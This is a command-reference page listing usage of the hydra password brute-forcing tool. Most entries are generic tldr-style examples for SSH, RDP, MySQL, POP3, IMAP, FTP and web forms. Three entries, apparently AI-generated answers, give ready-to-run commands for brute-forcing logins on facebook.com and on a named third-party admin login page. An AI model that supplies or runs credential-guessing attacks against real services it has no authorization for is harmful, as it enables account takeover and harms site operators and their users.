back to context overview

hydra

List of commands for hydra:

- hydra
hydra:ai:b48f6 How to use hydra tool to brute force https://admin.itfrontdesk.com/adminappt/login.html

$ hydra -l ${username} -P ${password_list} https-post-form://admin.itfrontdesk.com/adminappt/login.html:username=^USER^&password=^PASS^:H=Accept-Language: en-US,en;q=0.5 -V

try on your machine

explain this command
- hydra
hydra:ai:c3410 How to use hydra tool to brute force facebook

$ hydra -l ${username} -P ${password_list.txt} facebook.com http-post-form/POST:"https://www.facebook.com/login.php":"email=${USER}&pass=${PASS}&login=Login"

try on your machine

explain this command
- hydra
hydra:ai:e3ef1 How to use hydra to brute force the username and passsword on www.facebook.com

$ hydra -l ${username} -P ${passwordlist} www.facebook.com http-post-form '/login.php:email=^USER^&pass=^PASS^:F=Invalid email' -V

try on your machine

explain this command
- hydra
hydra:tldr:0f1df hydra: Guess HTTPS webform credentials using two specific lists of usernames and passwords ("https_post_request" can be like "username=^USER^&password=^PASS^").

$ hydra -L ${path-to-usernames-txt} -P ${path-to-wordlist-txt} ${host_ip} ${https-post-form} "${url_without_host}:${https_post_request}:${login_failed_string}"

try on your machine

explain this command
- hydra
hydra:tldr:1fdb2 hydra: Guess SSH credentials using a given username and a list of passwords.

$ hydra -l ${username} -P ${path-to-wordlist-txt} ${host_ip} ${ssh}

try on your machine

explain this command
- hydra
hydra:tldr:4f479 hydra: Guess RDP credentials using a username and a passwords list, showing each attempt.

$ hydra -l ${username} -P ${path-to-wordlist-txt} -V ${rdp:--host_ip}

try on your machine

explain this command
- hydra
hydra:tldr:a926f hydra: Guess MySQL credentials using a username and a passwords list, exiting when a username/password pair is found.

$ hydra -l ${username} -P ${path-to-wordlist-txt} -f ${host_ip} ${mysql}

try on your machine

explain this command
- hydra
hydra:tldr:b4d84 hydra: Guess POP3 credentials on a list of hosts using usernames and passwords lists, exiting when a username/password pair is found.

$ hydra -L ${path-to-usernames-txt} -P ${path-to-wordlist-txt} -M ${path-to-hosts-txt} -F ${pop3}

try on your machine

explain this command
- hydra-wizard
hydra:tldr:baa84 hydra: Start Hydra's wizard.

$ hydra-wizard

try on your machine

explain this command
- hydra
hydra:tldr:c45be hydra: Guess IMAP credentials on a range of hosts using a list of colon-separated username/password pairs.

$ hydra -C ${path-to-username_password_pairs-txt} ${imap:--[host_range_cidr]}

try on your machine

explain this command
- hydra
hydra:tldr:f04b6 hydra: Guess FTP credentials using usernames and passwords lists, specifying the number of threads.

$ hydra -L ${path-to-usernames-txt} -P ${path-to-wordlist-txt} -t ${n_tasks} ${host_ip} ${ftp}

try on your machine

explain this command

back to context overview